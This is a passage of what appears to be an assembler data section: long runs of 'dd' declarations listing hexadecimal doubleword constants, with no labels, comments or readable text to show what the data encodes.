0D0A5E931h, 1324A26Bh, 2029E675h, 0D03B32EDh, 254E05B0h dd 0A43A7B3Dh, 5A925A35h, 0C6CD1F04h, 2DA8A7BEh, 0B367802h dd 21D335D1h, 3F13E482h, 0F6294429h, 5EA45F11h, 181CC613h dd 0F6480C59h, 60CE2700h, 6449E963h, 0C3D3CDC3h, 0E5776999h dd 9F31124Eh, 518F8F97h, 0EB4705E7h, 0F096BF26h, 0B6120C10h dd 0AAC0FEh, 3058C636h, 0FAE65AF7h, 0F2805B0Bh, 0AE78897Bh dd 870AA514h, 605AE5ABh, 10D3BF69h, 0AE97DEBDh, 887D1403h dd 815BB3FAh, 0A32A5AD3h, 0D1A25A35h, 6706D9C0h, 0E9275738h dd 22D4C882h, 0B268A865h, 3F0EB561h, 5966EF00h, 0E931F830h dd 0D3019993h, 4396C30h, 68037351h, 0C859F498h, 4A214Dh dd 82355DE8h, 58472B38h, 3C151950h, 4302A1A0h, 5A41301Bh dd 0F8C46855h, 7BDE2DBFh, 0CAFD8709h, 0C2637C23h, 0A751455Fh dd 0EAD39E42h, 0D5FA5743h, 5FAF6465h, 6EDF38EBh, 0D6BD1370h dd 54F2DBE2h, 7F390441h, 12C5BE20h, 0AA7B5A41h, 5808A810h dd 2AFF12CBh, 5C93C14h, 1727406Fh, 552995A1h, 39A0962Dh dd 0E722A3F2h, 0EDE1E4A3h, 563BEEFh, 4CAD4AFAh, 0C2C9E0BFh dd 0D9A0097Ah, 0D9B5119Eh, 3A6A02D1h, 60E1982Fh, 0CED83BBFh dd 48AA5E29h, 6612ECF5h, 93E90DC4h, 0F8C7D296h, 5C9F00D0h dd 0C25F5A02h, 0E25157FDh, 2E6E130Bh, 517BA243h, 0CD89FD6Fh dd 292D8301h, 14EC900Dh, 4E35BA54h, 0CF0AB91Ah, 0C0D189D0h dd 758059A4h, 70F3E6C3h, 5BD8029Fh, 0F657B551h, 28A91760h dd 0C1DE019Ah, 77882F49h, 2722C1C4h, 44C51DA2h, 0AC7DD266h dd 0B24D02EEh, 5EF0E93Eh, 56500B9Bh, 0A61FC855h, 4AF6B5FAh dd 71CA87C2h, 0ACE4624Ah, 145A5006h, 0F8347AF4h, 7F3CEA1Ch dd 0AA009DF1h, 0F410E125h, 20E90215h, 88680BC6h, 62DED679h dd 9CF58590h, 3A0AA1C1h, 99F9126Ah, 75E06238h, 1BAB040h dd 108E291Dh, 20D2F742h, 0D60BE544h, 0DE31EF71h, 45ED1F84h dd 16AAC1Ch, 0D0449A8Eh, 55F57E7Ch, 811C0806h, 23285A14h dd 0FBF7AED2h, 0A7CA598Ah, 0B2513D48h, 740A295h, 5963A5A1h dd 7C6AAF82h, 2FBE024Fh, 0CE8E2517h, 9699A152h, 0D52E8FAh dd 0C496E3AEh, 0BA12F2AAh, 27F3C740h, 97400543h, 1F334042h dd 7ACABBD9h, 0EC4A12B7h, 0D10A1082h, 78355A3Bh, 5804AE59h dd 0F2FBF1FDh, 6F88187Ch, 7CFCC68Dh, 0B9625A27h, 7B08416Bh dd 0E90915A6h, 0AE7A990Ch, 80816D90h, 687F7417h, 6FE19D7Ch dd 0ECD6A1A3h, 5795B18Ah, 468F417Bh, 0EC61774Eh, 0B48037FAh dd 5AE3E040h, 9C9DF058h, 6241D74Ah, 0B54BF5C6h, 9BD55F4h dd 3D3375A9h, 303AEAFCh, 52C3DBAFh, 6B212406h, 899A12B1h dd 4DE16AA6h, 630A7C40h, 1C81E448h, 924473E2h, 607EF83Fh dd 4A785612h, 2A0CC039h, 0E90A7537h, 42FAE755h, 0E3C1FAF0h dd 1A822B74h, 0E1C6F15Ch, 2A1D1BE9h, 47C10F34h, 0DA2FD828h dd 3CE14A6Ah, 489D8B6Eh, 4A78208Bh, 5E76BD2Dh, 207EB20Bh dd 0BEF681B1h, 3F5B0960h, 203F789h, 0A74F122Bh, 38B821AAh dd 0C8280183h, 0B4CE13F3h, 8466B2C5h, 9CD8BECFh, 4FAB690Bh dd 68848FD9h, 0DD8576Eh, 0FEDB4EF7h, 86F67F31h, 371ACC2Fh dd 5EBD4D70h, 5BF25389h, 0D278856Ah, 15D8C40Bh, 145F405h dd 122B26Dh, 111531F7h, 7A5BDF08h, 8ACEDA94h, 0BD13E04Ch dd 9199EA82h, 0C5EBDF00h, 48011723h, 4BDED89h, 0E3167ABh dd 403F3AB0h, 73B55D95h, 65DDCB88h, 5CAF2727h, 790E4B81h dd 4402A846h, 0E613736Ch, 11650947h, 6D5C296Eh, 0E9180820h dd 52B6C357h, 0CEB40050h, 0E23010B2h, 0D20BF658h, 8436CA80h dd 2D0B464Eh, 581C376h, 7FA5334Ch, 0F17252FDh, 52C9F51Fh dd 7D6A05E3h, 8339EE62h, 0B36AFBF9h, 0EF38785Eh, 71BB5E1Eh dd 30455D2Bh, 3C1308C3h, 18BF7C19h, 0CCF51435h, 6020BE16h dd 0A932D4EBh, 84B102BCh, 5FCBB753h, 0F455DE62h, 0D0FC5001h dd 81FF77B2h, 9472C184h, 0F1E15957h, 4A30744h, 7EC02D02h dd 8F52F1Ah, 6A2407FAh, 6A9CD72Dh, 2581B320h, 9DC53158h dd 1E1F8049h, 987E5308h, 45D741B7h, 7D5EEA07h, 0C82A1DC9h dd 822FF650h, 1CC15680h, 810271F4h, 1B15C8E3h, 8FDE576Ah dd 4D0C759Eh, 0B5041232h, 280F8A5Ch, 29F1A21Dh, 0B4C5C1D9h dd 0C9F53101h, 680884EEh, 37C86FC1h, 0BC2C802Bh, 0E540DEEh dd 6616EED9h, 110B1DA3h, 6BD5A832h, 27113EC0h, 5BAEA040h dd 2896066Fh, 2217BAE9h, 1F260D00h, 3635657Fh, 3F9A3F25h dd 9D2B3196h, 326C40AAh, 15B60946h, 5D3E7E00h, 0B8E78148h dd 7B372F0Dh, 0C3252AFCh, 1DC7E0D0h, 2361246Fh, 654C8EF1h dd 60BC4AF2h, 0AC5892A6h, 0D3F04E53h, 90DD959Dh, 0A86DBCE2h dd 9780CD80h, 68419C5Eh, 8C3A41A0h, 5A3DB466h, 5D486428h dd 9270AA8h, 0F60112D6h, 67C06E73h, 0D6E26FF8h, 4116034Ah dd 0C199535Bh, 0F1D640E1h, 587A40CAh, 4E685058h, 68DB40E4h dd 3EDE0643h, 5B05252Fh, 9AF6FF5Dh, 446E5617h, 0B748CC91h dd 37984A07h, 66BA32EBh, 0B6E9EC68h, 90E76D68h, 7F0516EAh dd 0C8DE50ADh, 0CF2855B2h, 8CB18F4Ah, 4430D93Ah, 5EE5D2EBh dd 49C79990h, 0C095F783h, 2A90A6FAh, 749FF922h, 53607267h dd 269FDC09h, 0F6A75D82h, 17ED6769h, 0B7EB7FC7h, 0A97566EAh dd 94C38B9Bh, 955A4FB1h, 0A244EB41h, 0A444467Bh, 0A4C9FC72h dd 7F3782h, 0FB4FA7BEh, 4C947958h, 0BA2D87h, 0A6C981E5h dd 81BF900Ch, 46B02ECh, 889F43h, 7566912Dh, 82259A74h dd 4B04D707h, 994E446Fh, 0C8B9B800h, 2926E670h, 7EAF25C2h dd 7F5BE0C4h, 0B5803352h, 1CCC2760h, 0C00E8753h, 0E93D2148h dd 0BE36805Ch, 5CECF112h, 7F2A4147h, 78CA2914h, 3C95B17Ch dd 2D4D02Eh, 37F1695Fh, 0A1E90B67h, 93EFB41h, 0F9F43FDAh dd 5F796AC2h, 0A2FCD118h, 3009D397h, 4035FFC8h, 0CD01021Eh dd 6208ED14h, 78D3E959h, 0F75B0B74h, 950F42DAh, 92071AEh dd 10F0B850h, 0CF1EA23Bh, 474FD404h, 7E2ADDBBh, 0C6C33EADh dd 2A8114B3h, 96C2DA01h, 9544080Ch, 0F3D76241h, 687E097Eh dd 31550579h, 0BC23020Fh, 0AFE95709h, 0BF5908C0h, 1BAA6109h dd 0C9810496h, 0E3BE5600h dd 24260639h, 4B006B4Eh, 4F053F50h, 6DCF0581h, 0FE623728h dd 0F84887F5h, 7D1126E9h, 0C0FE5092h, 0EFC1D098h, 0F0F8840Fh dd 28773389h, 0DEAE2DA2h, 4FB6BE00h, 0B8274AD7h, 7C0C4C3Dh dd 43714A7Ah, 92CF197h, 0F7448B88h, 51163CB1h, 4E96DFFEh dd 0E068CA40h, 986B1277h, 0C993262Bh, 63FC41E9h, 0E2D4603Fh dd 780A8E09h, 8154DC3Ah, 51FF3C2h, 8DA46AFCh, 0EBAE4B16h dd 5E8D0423h, 40C59BEBh, 179297FFh, 0C3259993h, 7DA7C223h dd 0D3F771E2h, 0B0E82A8Ah, 0FE560E29h, 5C4180C1h, 6EBBB252h dd 494FEDA9h, 69A0A974h, 33103CE3h, 490430EAh, 0F829733Dh dd 0BC545FC1h, 0C9E5AD9Dh, 8B48672Dh, 7280B0Dh, 8A5B8D5Fh dd 0CDDE43E9h, 61167D8Eh, 4D012B51h, 0CD3FAB4h, 2E3F9240h dd 0E9611212h, 0EDE2AEF7h, 6FE7681Fh, 928900D9h, 118551Ch dd 0D9B1D2DCh, 0DADA6B4Fh, 0D1C701B6h, 5958D019h, 3760DE01h dd 2E2E23DCh, 0C501C440h, 74C64977h, 92FCA70h, 555FD826h dd 0F7CE1C11h, 52AC4A1Dh, 1A47EBC9h, 0EABE578Eh, 0E64FEA25h dd 3E04BCD3h, 0B9364816h, 0EBD5D331h, 0E33E1BC3h, 0C5424B71h dd 0E1E2BE40h, 857CF9A4h, 0B85DA80Ah, 0B4C08592h, 2568F1F7h dd 4799173Eh, 1585D6DBh, 8B8B93A7h, 0EB8EFFF4h, 3D6768C2h dd 352E2B91h, 1ECA6B0Fh, 2721236Ah, 0E1985FA4h, 86A83B94h dd 0AAE72A17h, 0C95BF4CBh, 0B15830CCh, 0E2CDC75Fh, 40CABB13h dd 41F4D87Bh, 0C9C06E80h, 0BF2814Ah, 0D36F01F6h, 8B0B440Bh dd 0EC401542h, 8A9AA396h, 595F5B27h, 0E9D8C13Ch, 7E9E357Ch dd 0EDD602F3h, 706C185Fh, 4D82910h, 4069052Dh, 9FA4AB6Ah dd 0B361C766h, 8BD80777h, 18BF1CFDh, 73FD4AE9h, 2D18B3F7h dd 690C654Bh, 0EBE25876h, 48BF5E10h, 0A7C701BAh, 31F44889h dd 59430A3Eh, 9579384h, 26AB6E9Eh, 0BBFA42CCh, 0B50558BAh dd 5D15C34Ch, 4FF8A3CCh, 68648C72h, 965BA240h, 71FD5290h dd 2C21277Ch, 93F5EEE9h, 3CE10176h, 5DAC4F2Fh, 57E9F722h dd 0DF620957h, 0A98F01Eh, 0A6432748h, 0D76855D0h, 4882E27Bh dd 183A2F24h, 40886D7Bh, 6658C5D0h, 0AD201286h, 20E789EBh dd 0B316F293h, 220380EAh, 381FB450h, 0E33D520Ch, 58B0C3BAh dd 0E0E9C812h, 0DCE30148h, 0DD2AFA3Fh, 0CC9D8B2Bh, 0EA545BBAh dd 17848467h, 4BE08FBFh, 0F38E44FBh, 5BE4597Ah, 9FC0D728h dd 2117A05Dh, 2583CD5Ch, 0A2084833h, 0CBDBCFAAh, 4E5F1AABh dd 0FE8B207Bh, 0EC5A6662h, 577463Ah, 0EFC035B7h, 97810004h dd 8FBC480h, 48A8E75Bh, 0D8DD7422h, 0D8F68AC2h, 7184DD86h dd 84F3F2AFh, 8CBAA869h, 326AB05h, 4D126FCAh, 0CA4A3EA8h dd 76607E2Fh, 416856FBh, 0B029B79h, 0D2B99C5Ch, 0A5106F4Dh dd 0D9FBA5B7h, 765FF5EDh, 619A1575h, 0B551027Ch, 5E13E9AEh dd 0D2BE01E5h, 28681125h, 9B465090h, 20B25B13h, 0BA6C16AFh dd 7C60BDC9h, 307602B1h, 8822E93Bh, 8F2D3BDAh, 45EA2005h dd 47FDD18h, 0AF751735h, 0D8C7FE16h, 97F75009h, 0BDF69655h dd 0F71668FCh, 5712AA72h, 0B0629FDCh, 827662E8h, 57C83070h dd 9434DB4Ch, 87FE95CDh, 0C929BB17h, 9D6D82DDh, 8C91D41Ch dd 880CB169h, 92CAF44Eh, 62E3281Ah, 189D11DEh, 6DF05EE5h dd 1CF784Ch, 5646D6F7h, 0E87B5E51h, 0ADE9E1A0h, 0C32E4ECBh dd 0A5CF018Dh, 492D587h, 6E8A367h, 90D3FA31h, 0C5604A69h dd 0DFC70FADh, 0D4BCBE05h, 646B9C90h, 0EE40944Fh, 6B394754h dd 0D664C589h, 5210AC8h, 0AAD917A7h, 0D760D499h, 0FB0180CEh dd 0D9937FDEh, 0E23F07E1h, 0DF290A91h, 6D42B55Bh, 0B70109A9h dd 0F36F7FB8h, 0E0DEBF90h, 1C0F412h, 82B447EBh, 0C74465Ch dd 0C66F1102h, 81F78710h, 3244E99Dh, 37506B23h, 6D490072h dd 19C3B80Ah, 80B71C58h, 24DE259Dh, 77EC476h, 3C20ABB0h dd 3C71202Dh, 0C128B2A9h, 22F5E61h, 55D5ADCh, 0E1DD6BF7h dd 0DB828D17h, 37FE14BEh, 79BF58E0h, 429E599Fh, 10D4B961h dd 0E67ADD80h, 65D1F75Dh, 0C0410649h, 2BB039F2h, 2C20B658h dd 5D89AE9Ch, 0F1D63326h, 407B9A29h, 4CAB57BBh, 92A3311Dh dd 0CA0C54Ch, 389084E9h, 2A4F2768h, 6B8948D9h, 59EC3072h dd 441E3A32h, 1CC8365Ah, 96838FBh, 0D541BAE9h, 8E58FF33h dd 0BFB21082h, 1A314A2Eh, 5550C1Fh, 0E5F86444h, 5A9E093Bh dd 0AD1E4E4Eh, 0E35F131Ch, 0E601C946h, 0CA28622Ah, 1A5D196Ah dd 9AF44152h, 9EDFBD3Ah, 0FEA41BC9h, 0B344CF0Dh, 20F3FB7Fh dd 1121C42Fh, 0CC08CF80h, 67B092C7h, 59F27370h, 862B40BFh dd 0D3F630DDh, 0DAA6808h, 414153CDh, 3FEF6120h, 0C2E0FD48h dd 795D3F6Fh, 0AABE4D50h, 4FB2FC95h, 0ED57C82Fh, 8B552D44h dd 0F9AF6B42h, 8C502810h, 3DE2E405h, 63AD93ECh, 0CA05585Ah dd 138F1234h, 9881C9C4h, 0F13BF332h, 0BF69546Fh, 0E912B2E3h dd 5B3FB828h, 500106F6h, 0C68896B0h, 4F166E58h, 739B0804h dd 0F2DE5D0Bh, 9352A59h, 0F87F1421h, 8E3AA9F7h, 0B5624A5Eh dd 0BA0B5F08h, 2FCAEEDFh, 12908B9Ah, 4B5C4A68h, 2153CF4Ch dd 4EC04F8Fh, 0AB8B3Ah, 0E15F08CBh, 95CEE90Bh, 0F6C3F972h dd 0ACC5684Bh, 71B17C8Ch, 26FB9928h, 0B7A415AFh, 0FA3DC703h dd 73D990C9h, 4B9E6227h, 8809B095h, 0BD6AA0BEh, 4F2A3BCDh dd 80198532h, 0B9A97DC7h, 0C92695Eh, 559E4A84h, 24D2A9F6h dd 0ACAEABB6h, 7E83518Ch, 88B1CBFCh, 400E05B7h, 7C7969E2h dd 275302F3h, 0D85EFD85h, 27CCF627h, 8F406A0Eh, 5878F430h dd 423379BDh, 2CF0EEE9h, 0C5255D76h, 885C1847h, 815C81BFh dd 3E0C7E3Ah, 5ADE4229h, 963B27F9h, 2F3886E5h, 4521F1AFh dd 0F912BF2Ch, 0EFA334F9h, 16438EE4h, 64EEAB79h, 359DE023h dd 1B1C5C2Eh, 7D4B7A2Ch, 6B589641h, 40F1A1ACh, 0C18000A6h dd 73FFB27Ch, 9D82BD59h, 68014C69h, 0D1927EC4h, 0BC25BF37h dd 0F8FC52EAh, 8B2C84C2h, 0EB980212h, 58DE4303h, 8E3A178Bh dd 0C7F3C0CAh, 4E8852FBh, 0CD4AE009h, 59343E0Bh, 0B150044h dd 0B5CBCEECh, 18E93081h, 0B6C82B6Eh, 0B7E17C7h, 17381CDAh dd 0B380C8FDh, 2ECA3058h, 0B132F3Fh, 7714C8E8h, 0B28FEA8Ch dd 68FCDCF2h, 0DD22C131h, 0CA06AFF5h, 0D4F29C4Fh, 52517706h dd 960CC83Fh, 0C12763Ch, 5F25FE9Dh, 0BF5FFE75h, 7B6C1482h dd 68BF8101h, 433C6022h, 7E6AB498h, 605ACD9Ch, 274D0762h dd 0C7C2A06h, 14492D0Ch, 0E6350758h, 5078D97Eh, 26B15542h dd 39E3D49Fh, 0EB01C987h, 0E4EA6030h, 3A5E3670h, 589C18A4h dd 6809F626h, 3667E1Bh, 712F6AFEh, 0ACCFC003h, 9D962445h dd 0AAD6257Ch, 0A72F5C49h, 7B119BC9h, 0F6BE2F12h, 0EAE897B9h dd 62B6E9A1h, 5584445Ch, 0A15185A0h, 0F1820283h, 0B79D078h dd 0EDAAC05Dh, 75EDB2FCh, 0A0E2E488h, 0BC60DDCAh, 0B7C58888h dd 747D923Dh, 6FEEDE4h, 168AB1Eh, 880D8D9h, 8BE3188h, 2051DA69h dd 629D097Ch, 45AA5E32h, 28D3E09Dh, 30271F98h, 1E19D5F0h dd 535FD269h, 685802F1h, 67792666h, 6D136B2Eh, 0DE50F249h dd 64D5780Fh, 2113C89Bh, 3097D502h, 0C2E27EC1h, 0EF095DE0h dd 82B98921h, 0FDF09E64h, 85F8389Ah, 0D5CEFE17h, 8F16D0BCh dd 40C58890h, 0D57DCB2Fh, 30087F88h, 1550030Ch, 0E5A1335h dd 4B3001B9h, 0B5C3420Eh, 0B7E9D717h, 0B87F69A1h, 2FE95B0Bh dd 6D342660h, 0E9101175h, 247DFDDFh, 265508E2h, 80D612BEh dd 0E3885BDDh dd 2F30F095h, 14FD3069h, 54A0B02Ch, 2EAFA96h, 2C9D715Eh dd 7A42CA01h, 691C080Dh, 7FFE4510h, 0EC5E362Eh, 2CA2D0Bh dd 0D0EF6812h, 9D39F451h, 0E1352200h, 36039F6Dh, 165240Dh dd 0B515F916h, 8B70EC2Fh, 0EA945AEFh, 0B4082CACh, 0F9B509C7h dd 51CDB9A2h, 621E4077h, 83D54120h, 0E5C02716h, 5C0C3C02h dd 0FFF2F592h, 0E63C7044h, 7A5F5E09h, 46222DB2h, 49943A1Bh dd 200B4C55h, 0FBBF21F5h, 249348D8h, 4B3B0B3Eh, 530B9764h dd 660EC7E9h, 8BA02DA0h, 0EC53965Fh, 771B01F6h, 0EE87356Ah dd 7006A445h, 293FA52Dh, 5FBBBCD0h, 630047Ah, 0BF49A6E9h dd 0D802CC49h, 0C92D9163h, 0EBD2A104h, 0E9826CE6h, 0A1760C67h dd 0BDBD5570h, 574C46DAh, 2F431843h, 0B0DE8979h, 113F6589h dd 1DB99128h, 0E4C92F32h, 95D950E0h, 20B01CF5h, 31257237h dd 20114ED7h, 5D5EAEE4h, 512E8DB6h, 8C6100E6h, 0DE05E96Fh dd 0E4EBB2B4h, 0B71E25E7h, 163C3671h, 5325A7A1h, 0C5BE94FFh dd 0CD92FFA2h, 2682C029h, 1919983h, 0C68AAB68h, 0FACB3A01h dd 10F70176h, 8920B85Bh, 0F85544FDh, 0E92B5A7Ah, 51AE95Ah dd 68D912A5h, 740BFA8h, 0B93EFD8Bh, 8F8C86A2h, 79ED3D53h dd 292E4706h, 880C8FDh, 994D0E9h, 984FB25h, 18ABDAB4h dd 60AC5756h, 620C5B0Eh, 70B8AE9h, 833A6780h, 4414E165h dd 499FE01h, 70E640FBh, 339750C0h, 291D094Bh, 7DF65BDEh dd 1E0A546Bh, 5F4CB223h, 7704C2F5h, 0E57D5DE2h, 0EA666F0Bh dd 0EE4EE316h, 0C44B79A9h, 85C4BF4Fh, 5B7600E4h, 0AE53CC79h dd 0F09DDB9Ah, 0BFB2C1B1h, 74203844h, 2101CBABh, 5643FC3Ch dd 9FF3BABEh, 8195380Ch, 3D9D2959h, 17899056h, 0F9726817h dd 759010ADh, 8941AB5Bh, 95A4E54h, 8F10253Ch, 4FB41733h dd 0DB49EF0Bh, 0E350A679h, 0EB067850h, 22204CEAh, 0D96E6116h dd 685E0A68h, 53AED4C9h, 6DB9C0D5h, 0B4566C4Bh, 825889C3h dd 3BD01CEBh, 0F9F64007h, 0C2D71B5h, 0EBCF9AE4h, 0D3F7050Ah dd 8702EE43h, 508A12EDh, 2C619B4Ah, 0B80519DDh, 0F2EA0443h dd 1CE23D71h, 6885070Ah, 5C473499h, 3D702B8h, 75AF29F4h dd 51184A7h, 0F250389Dh, 2784124Eh, 29680242h, 1C269120h dd 0F8018D82h, 74430FFh, 4175362Ch, 17382782h, 0B29EC16Ch dd 949F236Ah, 4B99748h, 48237235h, 0F9082C80h, 5F248A5h dd 1248620h, 0EA075DFAh, 0A43F8706h, 0F4FE9C62h, 481FBAF6h dd 270A1D75h, 5BC92Ah, 4D6857E2h, 5F697D19h, 86635695h dd 0C7E8273h, 0C40B880Bh, 10217798h, 0CD3077CEh, 6E5D6121h dd 0AA4BA8ADh, 5D80D48Ah, 47E5E681h, 0D848362Fh, 4DDCC223h dd 8B756A6Dh, 6044D9E2h, 0D451A0EAh, 1EA3B5Eh, 61326D7Fh dd 7C6E3035h, 86E4702h, 0DC8809E9h, 0AB4965D7h, 0A76059CDh dd 0B5969F02h, 0C130D4Bh, 54572FAh, 0E924D4FAh, 93BADC20h dd 52906F2Fh, 17E3469Ah, 0BEF83123h, 0AA4B138Ah, 320914D1h dd 516EFDC2h, 5F5ADEF8h, 0A488FB6h, 1452F900h, 78E38167h dd 2C4D0709h, 1AC4D543h, 309E3B24h, 0E843822Fh, 0B0DF0B9Fh dd 0C0DAF928h, 827BD16h, 0BA077099h, 1C6210D8h, 3C9501F5h dd 0FB68B280h, 54CCBF29h, 42D083Dh, 6A7BE91Ah, 0B7EEBAD0h dd 35CBF32Ch, 81439A76h, 0A5E31D26h, 3622F76Ch, 0BB006E9Bh dd 5FE573A4h, 3C2FB44Ch, 5F3A89BFh, 0C96FA8D9h, 0BFB84C6Dh dd 56952270h, 76955680h, 198569B3h, 2067BDE4h, 1D860BCBh dd 0ED042FD9h, 1088EB7Ch, 273B24F1h, 5AD60BE6h, 0E9BD317Dh dd 0B862FFE5h, 5F35BD4Bh, 804FD6B8h, 0C3305BF4h, 39FAAB8h dd 0F9EE2CC9h, 0B1BE1E87h, 0DC77B094h, 4099F95Eh, 31275F08h dd 8612DDCBh, 67418740h, 3A402233h, 0A80D4A3Dh, 0A594588Eh dd 74174401h, 0E27B4B0Fh, 0E9094040h, 50D1FE4Fh, 0A72B3C77h dd 0E7B10E6h, 0B6DE93Ah, 0F1ED3E85h, 7C52E9B1h, 6E680BCAh dd 429CDB5Eh, 0F87E0CB3h, 0BDCD6878h, 0CAE9A698h, 0F710ADF5h dd 0E918919Ch, 35786D70h, 1D8F0059h, 2EC38195h, 764BB56Eh dd 8EB530Ah, 38FAE90Eh, 2649B930h, 95C7127h, 0E7F99677h dd 0FF02680Bh, 0C775046Ah, 985A13C4h, 0F34EE9ECh, 4F42B6FCh dd 0CC23AE5Ah, 0AFA95F1Ch, 0CA73641h, 0D7E62F74h, 550493CCh dd 9969F6BDh, 3EF7CC5h, 7E3E9B83h, 846C01D1h, 0AFA1E910h dd 0BE1DB8E3h, 57178F4Eh, 1C314DC6h, 92425A3Bh, 0A68AF553h dd 1509F73Fh, 30805BD4h, 1B9A5556h, 2991E97Bh, 0DD05EB16h dd 50FE3645h, 0A260082Eh, 17037940h, 6EDC117h, 389CE401h dd 0A53E7668h, 21ADFFF5h, 13064FBh, 98D69168h, 0F69BAAEh dd 506C2A7Eh, 8F5283C0h, 5127E971h, 0F943BAB3h, 0E19C6410h dd 66FC6BABh, 81B412F1h, 7A05C317h, 5CEDB5E6h, 0F749578h dd 0CB576DBAh, 0DF131A9h, 52AC93C4h, 0B286E84Ah, 1D59658Fh dd 578ED6E9h, 0E75DEA78h, 43D55465h, 91765FE6h, 400F1648h dd 0E82DC99Fh, 13BF7C1Ch, 0FADE52FBh, 5E7B41B2h, 1A75EB39h dd 0D74EF884h, 7995C652h, 52534F0Ch, 0CAB41511h, 0F333E217h dd 189F09F2h, 0CFBE82CEh, 61A1900Ah, 22B02638h, 88D02565h dd 6240E927h, 0E030D1CAh, 11266851h, 0CB651C9Ch, 0F84B1BFCh dd 0A83EB941h, 0E87CB182h, 39DE0101h, 302C10B7h, 0C0A62063h dd 2324DD77h, 3608C20Dh, 0B8073BE1h, 0C0721B56h, 9D2AD52Dh dd 0D8F77700h, 0D4F08505h, 96A6CB95h, 9D56A75Ch, 556975FCh dd 0FC2D21F3h, 67DBF26Fh, 903A5F0Bh, 2C1DCFE6h, 25D1806h dd 0D3722587h, 659E8F80h, 29245FCBh, 82012F1h, 52777497h dd 6CFE3861h, 63B50168h, 0C059EE20h, 0BF1DE06Ah, 42C97E4Bh dd 1303CE7Fh, 93EA6AD1h, 0F02CAC4h, 0AA4335BEh, 1DFB601Ah dd 6B087D14h, 12F6AC4Eh, 2561E6Ch, 0E984B257h, 31029841h dd 37B4C9C8h, 1C5A7A74h, 6EB25250h, 0A2AC0B0Dh, 86B9AF93h dd 0C19528ABh, 75A55EEh, 0E972812Eh, 7FB96E21h, 0D45B900h dd 0F18128D7h, 0E90D4162h, 8389F7C2h, 0C2D6595Fh, 4D751E4Dh dd 0F1D62D4Dh, 0EE13CAC4h, 0A5BB2772h, 9CBFDA11h, 4BBF17B2h dd 88C6B1C2h, 8B53FC3Eh, 626FD8B6h, 313FFC55h, 59E9EF76h dd 221A82Ah, 66250CD6h, 6662F701h, 805E0804h, 413ED46Ch dd 0B8363D6Fh, 0E345E90Dh, 8527743Eh, 30A3AEA9h, 0D2ACB34Bh dd 1B516FCh, 380DE63Eh, 0B40CA81Dh, 127690Bh, 0D60000C1h dd 1611E156h, 0EE4DD5F7h, 0B54C6302h, 611257C6h, 5A5D200Ah dd 0D7DF62FDh, 0AF3DCE65h, 9835F4Fh, 0C9C502E7h, 0B5252243h dd 2E98C84h, 3AB7C901h, 0F2C10239h, 834398C0h, 534083B1h dd 6F94BA52h, 0E2A0F801h, 365C30BBh, 1602F2ECh, 0F7625020h dd 2EE0DDDAh, 0AD5422E9h, 37368B4h, 0FE83BE1h, 9F4881E4h dd 0FD0101D9h, 0A2B18293h, 0C44D1407h, 4FF4F83h, 9D2C87D2h dd 0F04C473Ah, 5603A845h, 542FE917h, 838935F8h, 0C0B7F950h dd 97668CCEh, 783CBB1h, 0BF2DE785h, 0E07AEC2Eh, 9D6D84E9h dd 0A68BA6D9h, 9F286486h, 95BE3B5Eh, 3A8CF0Fh, 0C0225AEFh dd 0A20C092Ah, 3480F011h, 10278F7h, 0C6B2048h, 0C886F9B8h dd 0AE855AE5h, 9504C024h, 0EDFC6443h, 2D5F8F96h, 75C22230h dd 635A0768h, 3C2B15DFh, 5C8A1C5Fh, 5B111A29h, 0D24CAC5Fh dd 0C55A2FCAh, 0A484E8BEh, 75DB8F82h, 54926FF1h, 0C78072AFh dd 97E3E910h, 0ECDD690Bh, 34F99575h, 0F16F331Eh, 9855CBC8h dd 4F496849h, 0AAA0CC27h dd 78E47353h, 6B3FF4A3h, 0D67F98E0h, 72AEBB0Eh, 0D00A5A2Dh dd 2F61A305h, 0DE31D212h, 0D51677BCh, 3225211Fh, 0F454039Bh dd 59C42FC0h, 57435805h, 0AE0DC034h, 0A07ABA9h, 0F0356551h dd 0A72A91CFh, 0EFC14B12h, 8476DA04h, 838899B8h, 0A0BCAFAEh dd 0ABE9127Ch, 0F069451Bh, 0C8C1EA5Eh, 8663F44h, 0B280D03Eh dd 765BBB32h, 295887C9h, 6E4A7C1Ch, 3618C5CAh, 0E4F61761h dd 6DAA5A16h, 2D4D551Fh, 4D401A93h, 1D773FC5h, 0A8012BDCh dd 0E90880BFh, 0A8704BF8h, 0F9139EDCh, 0BD4A56EDh, 39C14B04h dd 0C96EBEE5h, 1DA23E4Fh, 2AFEECF2h, 285B5802h, 87565DE8h dd 0C0FF807Ah, 5B663F2Eh, 6FB2C149h, 0C3436BCFh, 0D1B407EAh dd 0F7538414h, 7AC8B15Ah, 2D5BA08Bh, 0CC0C62F1h, 0E5524B1h dd 5944BD66h, 8EDC182h, 0A90640F7h, 3009FA41h, 0C2125DEAh dd 24DB116Ch, 1131F66h, 0E67CA767h, 70905764h, 281932BAh dd 9931CA6h, 230F022Ah, 7A961200h, 58B75D1Dh, 75DA9D67h dd 0F7F10B82h, 8074A9A5h, 0EE6E7B2Dh, 0D3E92447h, 0B579206h dd 0ED79F9F3h, 4B0D428Bh, 0B2AEC907h, 76189141h, 7E69CB04h dd 250E5149h, 75B79A5Fh, 191A7E02h, 0C7D97709h, 4CF4431Dh dd 0ECA45A87h, 63685801h, 0B7337E49h, 0F9209D82h, 7B585BABh dd 799D2F4Fh, 0F60BF845h, 625D59D2h, 745FF483h, 0EA50E402h dd 91583232h, 75EE685Ch, 6F64F0B1h, 1EE9D7C0h, 0C4ECFCBh dd 26B652A6h, 105FF07Ch, 0B2FA3C12h, 3014D4FAh, 8BBE1439h dd 76E42E0Eh, 66D703F9h, 0E0055F4Dh, 0EC6188B3h, 0BF2D17BAh dd 40AEC517h, 0E03FCEEEh, 635AE935h, 14EDEADh, 371EA3B1h dd 1BD1F426h, 0E868582h, 0D3B8E940h, 9019CD5Fh, 0CD7D5BD3h dd 0BB2340C5h, 224B4D44h, 0A4EA99EBh, 13E5410h, 46259B5Ch dd 0D2F3EEC1h, 0E4686057h, 0B8E7974Fh, 278423AAh, 48A46815h dd 933A84CAh, 0A8093109h, 210937F4h, 0A3E5DDE8h, 0B0EC11Fh dd 6C688231h, 47EDD12Bh, 3923D256h, 0B3929459h, 0F346BFE8h dd 1DC5BE02h, 5C624214h, 9AF15E48h, 4AD26880h, 6865687Bh dd 2F211520h, 13DD92E9h, 6469C288h, 40473CCAh, 0A464D417h dd 0E40CEE1Ah, 0C078725h, 1A1104ECh, 83C6010Bh, 5D13831Ah dd 0DD8C3CC5h, 7D2E0398h, 0A754E948h, 0DE684C02h, 0D5671DF9h dd 5192C3C0h, 